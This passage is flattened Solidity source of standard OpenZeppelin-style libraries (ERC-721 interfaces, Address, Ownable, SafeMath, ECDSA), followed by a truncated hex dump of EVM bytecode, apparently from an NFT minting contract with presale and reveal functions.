recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } }
0x60806040526004361061020f5760003560e01c80636352211e11610118578063aa3fbc81116100a0578063d4d725bd1161006f578063d4d725bd146105cd578063e985e9c5146105e0578063f2fde38b14610629578063f83d08ba14610649578063fe55932a1461065e57600080fd5b8063aa3fbc8114610553578063b88d4fde14610573578063c87b56dd14610593578063cf309012146105b357600080fd5b8063715018a6116100e7578063715018a6146104cb57806383a9e049146104e05780638da5cb5b1461050057806395d89b411461051e578063a22cb4651461053357600080fd5b80636352211e146104585780636ae7bd56146104785780636ecd23061461049857806370a08231146104ab57600080fd5b806328d76cb01161019b57806342842e0e1161016a57806342842e0e146103c25780634f6ccce7146103e2578063518302271461040257806355f804b3146104235780635b8ad4291461044357600080fd5b806328d76cb0146103635780632f745c591461037857806334393743146103985780633ccfd60b146103ad57600080fd5b8063081812fc116101e2578063081812fc146102ac578063095ea7b3146102e4578063163e1e611461030457806318160ddd1461032457806323b872dd1461034357600080fd5b806301e669721461021457806301ffc9a71461023657806303cf06781461026b57806306fdde031461028a575b600080fd5b34801561022057600080fd5b5061023461022f366004612775565b61067e565b005b34801561024257600080fd5b506102566102513660046127cd565b6106c2565b60405190151581526020015b60405180910390f35b34801561027757600080fd5b5060105461025690610100900460ff1681565b34801561029657600080fd5b5061029f6106ed565b6040516102629190612842565b3480156102b857600080fd5b506102cc6102c7366004612855565b61077f565b6040516001600160a01b039091168152602001610262565b3480156102f057600080fd5b506102346102ff36600461288a565b610807565b34801561031057600080fd5b5061023461031f3660046128fb565b610918565b34801561033057600080fd5b506008545b604051908152602001610262565b34801561034f57600080fd5b5061023461035e3660046129a8565b610a6f565b34801561036f57600080fd5b50610234610aa0565b34801561038457600080fd5b5061033561039336600461288a565b610ae7565b3480156103a457600080fd5b50610234610b7d565b3480156103b957600080fd5b50610234610bc6565b3480156103ce57600080fd5b506102346103dd3660046129a8565b610c2c565b3480156103ee57600080fd5b506103356103fd366004612855565b610c47565b34801561040e57600080fd5b50601054610256906301000000900460ff1681565b34801561042f57600080fd5b5061023461043e366004612775565b610cda565b34801561044f57600080fd5b50610234610d58565b34801561046457600080fd5b506102cc610473366004612855565b610da3565b34801561048457600080fd5b506102346104933660046129e4565b610e1a565b6102346104a6366004612a10565b610e66565b3480156104b757600080fd5b506103356104c63660046129e4565b610f72565b3480156104d757600080fd5b50610234610ff9565b3480156104ec57600080fd5b506010546102569062010000900460ff1681565b34801561050c57600080fd5b50600a546001600160a01b03166102cc565b34801561052a57600080fd5b5061029f61102f565b34801561053f57600080fd5b5061023461054e366004612a2b565b61103e565b34801561055f57600080fd5b5061023461056e366004612abf565b611103565b34801561057f57600080fd5b5061023461058e366004612b1a565b611240565b34801561059f57600080fd5b5061029f6105ae366004612855565b611278565b3480156105bf57600080fd5b506010546102569060ff1681565b6102346105db366004612b96565b6113a6565b3480156105ec57600080fd5b506102566105fb366004612bf0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561063557600080fd5b506102346106443660046129e4565b61164b565b34801561065557600080fd5b506102346116e3565b34801561066a57600080fd5b50610234610679366004612abf565b61171c565b600a546001600160a01b031633146106b15760405162461bcd60e51b81526004016106a890612c23565b60405180910390fd5b6106bd600d838361269a565b505050565b60006001600160e01b0319821663780e9d6360e01b14806106e757506106e78261184d565b92915050565b6060600080546106fc90612c58565b80601f016020809104026020016040519081016040528092919081815260200182805461072890612c58565b80156107755780601f1061074a57610100808354040283529160200191610775565b820191906000526020600020905b81548152906001019060200180831161075857829003601f168201915b5050505050905090565b600061078a8261189d565b6107eb5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106a8565b506000908152600460205260409020546001600160a01b031690565b600061081282610da3565b9050806001600160a01b0316836001600160a01b031614156108805760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106a8565b336001600160a01b038216148061089c575061089c81336105fb565b61090e5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106a8565b6106bd83836118ba565b600a546001600160a01b031633146109425760405162461bcd60e51b81526004016106a890612c23565b8051600a5460649161095d91600160a01b900460ff16612ca9565b11156109ab5760405162461bcd60e51b815260206004820152601760248201527f4d61782067696674206c696d697420526561636865642100000000000000000060448201526064016106a8565b600b546109c282516109bc60085490565b90611928565b11156109e05760405162461bcd60e51b81526004016106a890612cc1565b60005b8151811015610a6b57610a22828281518110610a0157610a01612d02565b6020026020010151610a1260085490565b610a1d906001612ca9565b61193b565b600a54610a3a90600160a01b900460ff166001612d18565b600a805460ff92909216600160a01b0260ff60a01b1990921691909117905580610a6381612d3d565b9150506109e3565b5050565b610a793382611a7a565b610a955760405162461bcd60e51b81526004016106a890612d58565b6106bd838383611b64565b600a546001600160a01b03163314610aca5760405162461bcd60e51b81526004016106a890612c23565b6010805461ff001981166101009182900460ff1615909102179055565b6000610af283610f72565b8210610b545760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106a8565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610ba75760405162461bcd60e51b81526004016106a890612c23565b6010805462ff0000198116620100009182900460ff1615909102179055565b600a546001600160a01b03163314610bf05760405162461bcd60e51b81526004016106a890612c23565b600a546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610c29573d6000803e3d6000fd5b50565b6106bd83838360405180602001604052806000815250611240565b6000610c5260085490565b8210610cb55760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106a8565b60088281548110610cc857610cc8612d02565b90600052602060002001549050919050565b600a546001600160a01b03163314610d045760405162461bcd60e51b81526004016106a890612c23565b60105460ff1615610d4c5760405162461bcd60e51b815260206004820152601260248201527113595d1a1bd91cc8185c99481b1bd8dad95960721b60448201526064016106a8565b6106bd600c838361269a565b600a546001600160a01b03163314610d825760405162461bcd60e51b81526004016106a890612c23565b6010805463ff00000019811663010000009182900460ff1615909102179055565b6000818152600260205260408120546001600160a01b0316806106e75760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106a8565b600a546001600160a01b03163314610e445760405162461bcd60e51b81526004016106a890612c23565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b601054610100900460ff16610eb15760405162461bcd60e51b81526020600482015260116024820152705761697420666f722042696742616e672160781b60448201526064016106a8565b600b54610ec48260ff166109bc60085490565b1115610ee25760405162461bcd60e51b81526004016106a890612cc1565b60058160ff161115610f365760405162461bcd60e51b815260206004820152601860248201527f4d6178206d696e74206c696d697420627265616368656421000000000000000060448201526064016106a8565b610f4a60ff821666b1a2bc2ec50000611d0f565b341015610f695760405162461bcd60e51b81526004016106a890612da9565b610c2981611d1b565b60006001600160a01b038216610fdd5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106a8565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146110235760405162461bcd60e51b81526004016106a890612c23565b61102d6000611e57565b565b6060600180546106fc90612c58565b6001600160a01b0382163314156110975760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106a8565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6010546301000000900460ff1661114f5760405162461bcd60e51b815260206004820152601060248201526f5761697420666f722072657665616c2160801b60448201526064016106a8565b6111588261189d565b6111a45760405162461bcd60e51b815260206004820181905260248201527f43616e6e6f7420757064617465206e6f6e2d6578697374656e7420746f6b656e60448201526064016106a8565b336111ae83610da3565b6001600160a01b0316146112045760405162461bcd60e51b815260206004820152601b60248201527f596f7520646f6e2774206f776e20746869732047656e6572616c21000000000060448201526064016106a8565b817fca6f35e9e83a061fdaadb604a184a0a0026c323c6099177707f48cb1a29e0331826040516112349190612842565b60405180910390a25050565b61124a3383611a7a565b6112665760405162461bcd60e51b81526004016106a890612d58565b61127284848484611ea9565b50505050565b60606112838261189d565b6112cf5760405162461bcd60e51b815260206004820152601f60248201527f43616e6e6f74207175657279206e6f6e2d6578697374656e7420746f6b656e0060448201526064016106a8565b6000600c80546112de90612c58565b90501161137557600d80546112f290612c58565b80601f016020809104026020016040519081016040528092919081815260200182805461131e90612c58565b801561136b5780601f106113405761010080835404028352916020019161136b565b820191906000526020600020905b81548152906001019060200180831161134e57829003601f168201915b50505050506106e7565b600c61138083611edc565b604051602001611391929190612e08565b60405160208183030381529060405292915050565b60105462010000900460ff166113fe5760405162461bcd60e51b815260206004820152601c60248201527f50726573616c6520686173206e6f742079657420737461727465642e0000000060448201526064016106a8565b600b546114118560ff166109bc60085490565b111561142f5760405162461bcd60e51b81526004016106a890612cc1565b336000908152600f6020526040902054819061144f90869060ff16612d18565b60ff1611156114ba5760405162461bcd60e51b815260206004820152603160248201527f43616e2774207075726368617365206d6f7265207468616e20616c6c6f7765646044820152702070726573616c652047656e6572616c7360781b60648201526084016106a8565b6114ce60ff851666b1a2bc2ec50000611d0f565b3410156114ed5760405162461bcd60e51b81526004016106a890612da9565b604080516bffffffffffffffffffffffff193360601b166020808301919091526034808301859052835180840390910181526054830184528051908201207f19457468657265756d205369676e6564204d6573736167653a0a33320000000060748401526090808401919091528351808403909101815260b08301808552815191830191909120600e5460d